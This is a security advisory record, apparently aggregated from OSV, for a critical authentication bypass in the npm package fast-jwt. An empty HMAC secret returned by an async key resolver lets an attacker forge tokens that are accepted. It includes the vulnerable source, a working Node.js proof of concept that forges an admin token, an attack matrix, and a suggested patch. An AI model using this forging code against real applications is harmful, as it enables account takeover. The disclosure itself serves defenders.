{"id":"CVE-2026-44351","aliases":["GHSA-gmvf-9v4p-v8jc"],"url":"https://o3.security/vulnerability/CVE-2026-44351","summary":"fast-jwt: Empty HMAC secret accepted via async key resolver - JWT auth bypass","details":"### Summary\n\nA critical authentication-bypass vulnerability in `fast-jwt`'s async key-resolver flow allows any unauthenticated attacker to forge arbitrary JWTs that are accepted as authentic. When the application's key resolver returns an empty string (`''`), for example via the common `keys[decoded.header.kid] || ''` JWKS-style fallback, fast-jwt converts it to a zero-length `Buffer`, hands it to `crypto.createSecretKey`, derives `allowedAlgorithms = ['HS256','HS384','HS512']` from it, and then verifies the token's signature against an empty-key HMAC. The attacker simply computes `HMAC-SHA256(key='', input='${header}.${payload}')`, which Node accepts without complaint — and the verifier returns the attacker-chosen payload (sub, admin, scopes, etc.) as authentic. Reproducible 100% against the current latest release `fast-jwt@6.2.3`.\n\n### Preconditions\n\nFor this issue to occur the following MUST ALL be true:\n\n1. The application developer (library consumer) uses an asynchronous callback function to set the key (e.g. `createVerifier({key: async (decoded) => ... })`)\n2. The response from the async callback MUST return an empty string `''` OR zero-length buffer (e.g. `Buffer.alloc(0)`). Any other empty/missing return values (e.g. null, undefined) do not trigger this issue\n3. The library configuration must allow HMAC signatures. This is the default for the library.\n4. The bad actor MUST have signed their token with an empty string. This is a trivial task and requires no special knowledge.\n5. All other aspects of the token (e.g. EXP, IAT claims) MUST be valid. This issue ONLY affects signature checking and all other checks remain enforced.\n\n\n### Details\n\n`src/verifier.js` `prepareKeyOrSecret` (lines 33-39):\n\n```js\nfunction prepareKeyOrSecret(key, isSecret) {\n  if (typeof key === 'string') {\n    key = Buffer.from(key, 'utf-8')\n  }\n  return isSecret ? createSecretKey(key) : createPublicKey(key)   // ← no length check\n}\n```\n\n`src/verifier.js` async key-resolver flow (lines 429-468):\n\n```js\ngetAsyncKey(key, { header, payload, signature }, (err, currentKey) => {\n  ...\n  if (typeof currentKey === 'string') {\n    currentKey = Buffer.from(currentKey, 'utf-8')   // '' → Buffer.alloc(0)\n  } else if (!(currentKey instanceof Buffer)) {\n    return callback(... 'string or buffer'...)\n  }\n\n  try {\n    const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)\n    // detectPublicKeyAlgorithms('') hits the `!publicKeyPemMatch && !X509`\n    // branch → returns hsAlgorithms = ['HS256','HS384','HS512']\n\n    if (validationContext.allowedAlgorithms.length) {\n      checkAreCompatibleAlgorithms(allowedAlgorithms, availableAlgorithms)\n    } else {\n      validationContext.allowedAlgorithms = availableAlgorithms   // default empty → HMAC family assigned\n    }\n\n    currentKey = prepareKeyOrSecret(currentKey, availableAlgorithms[0] === hsAlgorithms[0])\n    // → createSecretKey(Buffer.alloc(0)) — Node accepts the empty secret silently\n    verifyToken(currentKey, decoded, validationContext)\n  }\n})\n```\n\n`src/crypto.js` `verifySignature` (lines 286-291):\n\n```js\nif (type === 'HS') {\n  try {\n    return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)\n  } catch { return false }\n}\n```\n\n`crypto.createHmac('sha256', emptyKey)` works. The HMAC of `${header}.${payload}` is fully attacker-computable. `timingSafeEqual` returns true. The verifier returns the attacker's payload as authentic.\n\nThe bug exists *only* on the function-typed key resolver path. The synchronous `key: '' | undefined | null` configuration is correctly rejected at `createVerifier` setup because `if (key && keyType !== 'function')` short-circuits on falsy keys, and `verify` then throws `MISSING_KEY` when a token with a signature arrives. In contrast, the async-resolver path **does** allow `''` to flow through.\n\n### PoC\n\n```js\n// package.json: { \"type\": \"module\" }\n// npm i fast-jwt\nimport { createVerifier } from 'fast-jwt'\nimport * as crypto from 'node:crypto'\n\nfunction b64url(buf) {\n  return Buffer.from(buf).toString('base64')\n    .replace(/=+$/, '').replace(/\\+/g, '-').replace(/\\//g, '_')\n}\n\n// Forge a JWT signed with HMAC-SHA256 over an EMPTY key.\nconst header = b64url(JSON.stringify({ alg: 'HS256', typ: 'JWT', kid: 'unknown-kid' }))\nconst payload = b64url(JSON.stringify({\n  sub: 'attacker', admin: true,\n  iat: Math.floor(Date.now() / 1000),\n  exp: Math.floor(Date.now() / 1000) + 60\n}))\nconst input = `${header}.${payload}`\nconst signature = b64url(crypto.createHmac('sha256', '').update(input).digest())\nconst forgedToken = `${input}.${signature}`\n\n// Realistic JWKS-style verifier - looks up kid in a key map and falls back\n// to '' when the kid is unknown (a widely-used JS idiom).\nconst verifier = createVerifier({\n  key: async (decoded) => ({ 'real-kid': '<real key>' }[decoded.header.kid] || '')\n})\n\nconsole.log(await verifier(forgedToken))\n```\n\nOutput on `fast-jwt@6.2.3`:\n\n```\n{ sub: 'attacker', admin: true, iat: 1777372426, exp: 1777372486 }\n```\n\n— the attacker-chosen payload is returned as authentic.\n\nAttack matrix verified against `fast-jwt@6.2.3`:\n\n| Resolver shape | `algorithms` option | HS256 | HS384 | HS512 |\n|---|---|---|---|---|\n| `async () => ''` | (default) | ✅ accept | ✅ accept | ✅ accept |\n| `(d, cb) => cb(null, '')` | (default) | ✅ accept | ✅ accept | ✅ accept |\n| `async d => keys[d.header.kid] \\|\\| ''` | (default) | ✅ accept | ✅ accept | ✅ accept |\n| `async () => ''` | `['HS256','HS384','HS512']` | ✅ accept | ✅ accept | ✅ accept |\n| `async () => ''` | `['HS256','RS256']` | ✅ accept | INVALID_ALG | INVALID_ALG |\n| `async () => ''` | `['RS256']` | INVALID_KEY | INVALID_KEY | INVALID_KEY |\n\nThe bug is *only* not triggered when the caller has explicitly restricted `algorithms` to a family incompatible with the empty key's detected `hsAlgorithms`.\n\nSense checks (also verified against `fast-jwt@6.2.3` to rule out my harness):\n\n- A token signed with the *real* secret continues to verify correctly. → ACCEPTED.\n- A forged-empty-key token sent to a verifier whose resolver returns the *real* secret is rejected. → INVALID_SIGNATURE.\n- The synchronous `key: ''` (string) configuration is correctly rejected. → MISSING_KEY.\n\n### Impact\n\nWho is impacted: every Node.js application that uses fast-jwt with a function-typed `key` resolver, the standard JWKS pattern fast-jwt's own README documents, *and* whose resolver can ever return `''` or a zero-length `Buffer` (for unknown kid, missing env var, DB miss, exhausted cache, etc.). The trigger pattern `keys[decoded.header.kid] || ''` is widely used in JS code and AI-generated examples.\n\nConcrete attacker capabilities:\n\n1. **Mint arbitrary JWTs** with attacker-chosen `sub`, `admin`, `roles`, `scopes`, `iss`, `aud`, etc.\n2. **Full identity assumption** — any application that trusts JWT claims for authorisation grants the attacker whatever role they put in the token.\n3. **Default-config exploitable** — the caller does not need to misconfigure `algorithms`. With the default empty array, fast-jwt itself assigns `['HS256','HS384','HS512']` when it sees an empty key.\n4. **Cache amplification** — once a forged token is accepted, fast-jwt caches the verification result (default cache size 1000). Subsequent requests skip verification entirely; even a later runtime fix to the resolver would not invalidate the cached forgery within its TTL.\n\nThe trigger is unauthenticated, network-reachable, and trivially scriptable, the forged token is just three base64url segments concatenated with dots.\n\n### Suggested fix\n\nReject zero-length HMAC secrets in `prepareKeyOrSecret`:\n\n```diff\n function prepareKeyOrSecret(key, isSecret) {\n   if (typeof key === 'string') {\n     key = Buffer.from(key, 'utf-8')\n   }\n+\n+  if (isSecret && (!key || key.length === 0)) {\n+    throw new TokenError(TokenError.codes.invalidKey, 'HMAC secret key must not be empty.')\n+  }\n+\n   return isSecret ? createSecretKey(key) : createPublicKey(key)\n }\n```\n\nThis patch in-place was verified against the same PoC and against the full attack matrix: every one of the 18 vulnerable cells now rejects with `FAST_JWT_INVALID_KEY`, while valid-token verification, valid-secret verification, and the synchronous `key: ''` rejection path are unaffected.\n\nFor defence in depth, the maintainer may also want to enforce RFC 2104's recommended minimum HMAC key length (≥ output size of the hash, 32 bytes for HS256, 48 for HS384, 64 for HS512), gated behind a `strictMode` flag if backwards compatibility with shorter-but-valid secrets is needed. The empty-key check above is the minimum fix that closes the auth-bypass primitive.","published":"2026-05-13T19:12:33.347Z","modified":"2026-08-12T03:51:15.291385634Z","cvss":{"score":9.1,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"},"epss":{"score":0.00237,"percentile":0.14799,"asOf":"2026-08-14"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"fast-jwt","fixedVersion":"6.2.4"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44351.json"},{"type":"ADVISORY","url":"https://github.com/nearform/fast-jwt/security/advisories/GHSA-gmvf-9v4p-v8jc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44351"},{"type":"PACKAGE","url":"https://github.com/nearform/fast-jwt"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:15.291385634Z"}}